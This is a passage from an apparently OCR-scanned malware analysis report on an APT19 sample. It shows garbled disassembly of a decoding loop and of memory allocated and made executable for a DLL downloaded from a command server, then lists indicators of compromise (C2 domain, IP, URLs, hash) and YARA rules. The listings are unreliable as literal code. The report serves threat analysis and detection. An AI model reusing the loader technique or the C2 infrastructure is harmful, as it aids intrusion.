Ltext i 6CDV4HE inc eax
Ltext 1 6CD7444F inc esi

- vy
Ll et (=]
.text:6CD7445@

text:6C074458 loc_6CD74458:
Jtext:6CD74458 movzx  ecx, byte ptr [eax-1]

.text:6C074454 mov cl, [ebptecxtvar_184]
text:6CD74458 movzx  ebx, byte ptr [eax]
text:6CD7445E mov bl, [ebptebxt+var_184]
Ltewt:6CD74465 shl el -3

Ltext:6CD74468 shr bl, 4

Ltext:6CD74466 or cl, bl

.text:6CD7446D mov [edi], cl

text:6CD7446F movzx  ecx, byte ptr [eax+l]
Ltext:6CD74473 movzx  ebx, byte ptr [eax]

text:6CD74476 mov cl, [ebptecxtvar_1@4]
Jtext 60074470 mov bl, [ebptebxtvar_184]
tewt:6C0D74484 shr cl, 2

.text:6CD74487 shl bl, 4

Ltext:6CD7448A or cl, bl

.text:6CD7443C mov [edi+1], cl

text:6CD7448F movzx  ecx, byte ptr [eax+l]
Ltext:6CD74493 movzx  ebx, byte ptr [eax+2]

Ltext:6CD74497 mov cl, [ebptecxtvar_184]
Ltext:6CD7449E shl cl, 6
.text:6CD74441 or cl, [ebpt+ebxtvar_184]
Jext:6CD744A8 add edi, 3
text:6CD744AB mov [edi-1], cl
Ltewt:6CD744AE add eax, 4
Ltext:6CD744B1 dec esi
text:6CD744B2 jnz short loc_s6CD74458
1
Figure 64

At the time of analysis, no live response has been provided by the C2 server. According to the Unit42 article, the
server would respond with a DLL file with 4 exports: StartWorker, StopWorker, WorkerRun and DIIEntryPoint. Even
if we didn’t receive a valid response from the server, we were able to find out that the malicious process allocates a

new memory area in order to write the DLL code inside:
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M=
LtextiaCD74C1C

Jtext:6C074C1C loc BCD74CIC:
text:6CD74C1C push esi

Ltext:6CD7ACID mov esi, ds:VirtualAlloc
.text:6CD74C23 push edi

Jtext:6CD74C24 push Z ; TlProtect
Ltext:6CD74C26 mov edi, 2888h

Ltext:6C074C28 push edi ; TlallocationType

Jtexwt:6CD74C2C push dword ptr [ebx+58h] ; dwSize
.text:6CD74C2F push dword ptr [ebx+34h] ; lpAddress
Jtext:6CD74C32 call esi ; VirtualAlloc

Jtext:6CD74C34 mov [ebp+lpAddress], eax
Ldext:e(D7AC3T test SEX, eax
Ltext:6CD74C39 jnz short loc_sCD74CAF

! Y
ol e =]
.text:6CD74C3B push 4 ; TlProtect
Ltext:6CD74C30 push edi ; flallocationType
.text:6CD74C3E push dword ptr [ebx+58h] ; dwsize
Jtext:6CD74C41 push eax 3 lpAddress
Ltext:6C074C42 call esi ; Virtualalloc
text: 60074044 mov [ebp+lpAddress], eax
TdextieCD7ACAT test eax, eax
.text:6CD74C49 =z loc_6CD74D80

Figure 65

The new area of memory has to be executable because the potential DLL has to run, and that’s why the malware uses

VirtualProtect in order to change the protection of the area:

.text:6CD743E6 push 4a@ah ; dwFreeType .text:6CD74A38

.text:6CD749ER push dword ptr [ebx-14h] ; dwSize Ltext:6CD74A30 loc_6CD74A36:

.text:6CD749EE push dword ptr [ebx-1Ch] ; lpAddress| [.text:6CD74A30 lea eax, [ebp+fl0ldProtect]

.text:6CD749F1 call ds:VirtualFree Ltext:6CD74A33 push eax ; 1pfloldProtect

.text:6CD749F7 jmp short loc_6CD74A3F .text:6C074A34 push esi 3 TIlNewProtect
.text:6CDT4A35 push ecx ; dwsize

Jtext:6CD74A36 push dword ptr [ebx-1Ch] ; lpAddress
Ltext:6CD74A39 call ds:VirtualProtect

Figure 66

After the malicious code would be written in the new memory location, the process would pass the execution flow to

the new DLL file, as shown in the figure below:

|l i 5=

Ltext:6CD74CEC push @

.text:6CD7ACEE xor ebx, ebx
text:6CD7ACFE inc ebx

Ltext:6CD7ACFL push ebx

text:6CD7ACF2 push esi

text:6CDVACF3 call eax

dext:eCD7ACFS test eax, eax
.text:6CD74ACF7 jnz short loc_sCD74D84

VY | v
Figure 67
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INDICATORS OF COMPROMISE

C2 domain: www.microsoft-cache[.]Jcom

C2 IP address: 106.185.43.96

SHA256: DE33DFCE8143F9F929ABDA910632F7536FFA809603EC027A4193D5E57880B292

URLs: 106.185.43.96/user/atv.html
www.microsoft-cache[.Jcom:443/money/ofcom-fines-nuisance-calls?0023528460592137&data=<12 random chars>

www.microsoft-cache[.]Jcom:443/world/video/shrien-dewani-arrives-uk-murder-trial-collapses-video?
0023528461146965&data=<12 random chars>

www.microsoft-cache[.]Jcom:443/lifeandstyle/marmalade-paddington-sales-up-making-drinking?
0023528460592137&data=<12 random chars>

Yara rules for detecting the threat

rule APT19_1 {
meta:
author = "CyberMasterV"
Date = "2020-12-26"

strings:
$s1 = "http://www.google.com" wide ascii
$s2 = "Mozilla/5.0 (Macintosh; U; Intel Mac 0S X 10_6_2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chro
$s3 = "%s7%016164d&data=%s"
$s4 = "DebugCreate"
$s5 = "DebugConnect”
condition:
4 of them

Page 27 of 28


https://unit42.paloaltonetworks.com/new-attacks-linked-to-c0d0s0-group/
https://www.virustotal.com/gui/file/de33dfce8143f9f929abda910632f7536ffa809603ec027a4193d5e57880b292/detection
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rule APT19_2 {
meta:
author = "CyberMasterV"
Date = "2020-12-26"

strings:
$s1 = "DbgEng.D11" wide ascii
$s2 = "Windows Helper Service"
$s3 = "WinHelpSrv"
$s4 = "KBKBKBKBKBKB"
condition:
3 of them

Source: https://cybergeeks.tech/analyzing-apt19-malware-using-a-step-by-step-method/
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